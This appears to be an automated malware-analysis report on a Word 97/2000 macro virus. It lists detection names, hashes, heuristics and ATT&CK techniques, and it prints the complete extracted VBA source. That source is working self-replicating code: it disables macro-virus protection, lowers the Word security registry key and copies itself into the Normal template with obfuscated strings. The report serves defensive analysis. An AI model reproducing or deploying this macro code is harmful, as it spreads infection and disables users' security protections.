Win.Trojan.Psycho-3 — Office (OLE) malware analysis

Static analysis result for SHA-256 4337857f4a6facde…

MALICIOUS

Office (OLE)

34.0 KB Created: 1999-10-15 23:02:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 0795004f78ed94a289f9e883b38637da SHA-1: c39e531f7dc18f17df21d8a5bf308e7e67136d1b SHA-256: 4337857f4a6facded97075a049bdc9cd6235b6667306ac7dfd2481c1b057266e
248 Risk Score

Malware Insights

Win.Trojan.Psycho-3 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic macro virus markers and a VBA AutoOpen macro, indicating an attempt to execute malicious code upon opening. The script attempts to disable security settings and install itself into the Normal template, suggesting persistence. ClamAV detections of 'Win.Trojan.Psycho-3' and 'Doc.Trojan.Bench-2' further confirm its malicious nature.

Heuristics 5

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False: Options.SaveNormalPrompt = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6092 bytes
SHA-256: beab37f8fc18e73005f799d37534ca918807a9df9564572988c31262d5b0e299
Detection
ClamAV: Doc.Trojan.Bench-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
MACRONAME = BENCH
On Error Resume Next ' [Bench] Macro Virus - 97/2000 version
AD_Installed = False: NT_Installed = False
If Application.Version = 9# Then
CommandBars("Macro").Controls("Security...").Delete
Else
Options.VirusProtection = False: Options.SaveNormalPrompt = False
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Options.ConfirmConversions = False
Set NTC = NormalTemplate.VBProject.VBComponents.Item(1): Set ADC = ActiveDocument.VBProject.VBComponents.Item(1)
N_Identify = NTC.CodeModule.Lines(2, 1): A_Identify = ADC.CodeModule.Lines(2, 1)
If UCase(N_Identify) = "MACRONAME = BENCH" Then NT_Installed = True
If UCase(A_Identify) = "MACRONAME = BENCH" Then AD_Installed = True
N_Lines = NTC.CodeModule.CountOfLines: A_Lines = ADC.CodeModule.CountOfLines
If NT_Installed = True And AD_Installed = True Then GoTo over
If NT_Installed = False And N_Lines > 0 Then NTC.CodeModule.DeleteLines 1, N_Lines
If AD_Installed = False And A_Lines > 0 Then ADC.CodeModule.DeleteLines 1, A_Lines
If NT_Installed = False Then
With NTC.CodeModule
.AddFromString (Chr(83) + Chr(117) + Chr(98) + Chr(32) + Chr(65) + Chr(117) + Chr(116) + Chr(111) + Chr(67) + Chr(108) + Chr(111) + Chr(115) + Chr(101) + Chr(40) + Chr(41) & vbCr & ADC.CodeModule.Lines(2, A_Lines))
.ReplaceLine 66, Chr(83) + Chr(117) + Chr(98) + Chr(32) + Chr(86) + Chr(105) + Chr(101) + Chr(119) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(100) + Chr(101) + Chr(40) + Chr(41)
End With
Application.Caption = Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(87) + Chr(111) + Chr(114) + Chr(100) + Chr(32) + Chr(40) + Chr(66) + Chr(41)
End If
If AD_Installed = False Then
With ADC.CodeModule
.AddFromString (Chr(83) + Chr(117) + Chr(98) + Chr(32) + Chr(65) + Chr(117) + Chr(116) + Chr(111) + Chr(79) + Chr(112) + Chr(101) + Chr(110) + Chr(40) + Chr(41) & vbCr & NTC.CodeModule.Lines(2, N_Lines))
.ReplaceLine 66, Chr(83) + Chr(117) + Chr(98) + Chr(32) + Chr(84) + Chr(111) + Chr(111) + Chr(108) + Chr(115) + Chr(77) + Chr(97) + Chr(99) + Chr(114) + Chr(111) + Chr(40) + Chr(41)
End With
End If
over:
If Minute(Now) >= 30 And Minute(Now) <= 40 Then
ActiveDocument.Content.Font.Animation = wdAnimationSparkleText
With Assistant.NewBalloon
.Icon = msoIconAlert
.Heading = "[Bench] MV97/2000"
.Text = "Our Motto:" & vbCr & _
        "Tell me, I forget;" & vbCr & _
        "Show me, I remember;" & vbCr & _
        "Involve me, I understand." & vbCr & vbCr & _
        "Skyline College..." & vbCr & "On our way to success! ;)" _
        & vbCr & "(Hopefully)"
.Animation = msoAnimationGetAttentionMajor
.Show
End With
ElseIf Minute(Now) > 40 And Minute(Now) <= 0 Then
ActiveDocument.Content.Font.Animation = wdAnimationShimmer
With Assistant.NewBalloon
.Icon = msoIconAlert
.Heading = "Shimmer 2K"
.Text = "I was born to shimmer! Was born to shine! Born to radiate!" _
        & vbCr & vbCr _
        & "Sigh! Everything's getting fuzzy and blurred..."
.Animation = msoAnimationGetAttentionMajor
.Show
End With
End If
If NT_Installed = True And AD_Installed = False And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If
End Sub
Sub ToolsMacro()
On Error Resume Next
MsgBox Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(32) + Chr(112) + Chr(114) + Chr(111) + Chr(103) + Chr(114) + Chr(97) + Chr(109) + Chr(32) + Chr(104) + Chr(97) + Chr(115) + Chr(32) + Chr(112) + Chr(101) + Chr(114) + Chr(102) + Chr(111) + Chr(114) + Chr(109) + Chr(101) + Chr(100) + Chr(32) + Chr(97) + Chr(110) + Chr(32) + Chr(105) + Chr(108) + Chr(108) + Chr(101) + Chr(103) + Chr(97) + Chr(108) + Chr(32) + Chr(111) + Chr(112) + Chr(101) + Chr(114) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(32) + Chr(97) + Chr(110) + Chr(100) + Chr(32) + Chr(119) + Chr(105) + Chr(108) + Chr(108) + Chr(32) + Chr(115) + Chr(104) + Chr(117) + Chr(116) + Chr(32) + Chr(100) + Chr(111) + Chr(119) + Chr(110) + Chr(46), vbCritical, "Microsoft Word"
If NT_Installed = True And AD_Installed = False And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If
Application.Quit
End Sub

'          =================================
'          | Greetz go out to:             |
'          | SlageHammer - Thanks a lot!   |
'          |===============================|
'          | Ya'll ppl from Skyline!       |
'          | LOL They formatted the comps. |
'          | infected with a GROOVIE var.  |
'          |===============================|
'          | Everyone else out there readn |
'          | this!                         |
'          | AVP, NAI and Symantec ppl! =) |
'          |===============================|
'          | Macro's Name - Shimmer        |
'          | Author - [Bench]              |
'          |===============================|
'          | Author's Comments:            |
'          | The code is all jumbled up and|
'          | garbage. Hey! It's my first   |
'          | original macro!               |
'          | And I'm a newbie!             |
'          |===============================|
'          | excess:                       |
'          | Payload idea from Sparkle 97  |
'          | and the song "Shimmer" by     |
'          | Shawn Mullins... ;P           |
'          =================================
' This macro shows what boredom can do to a guy :D

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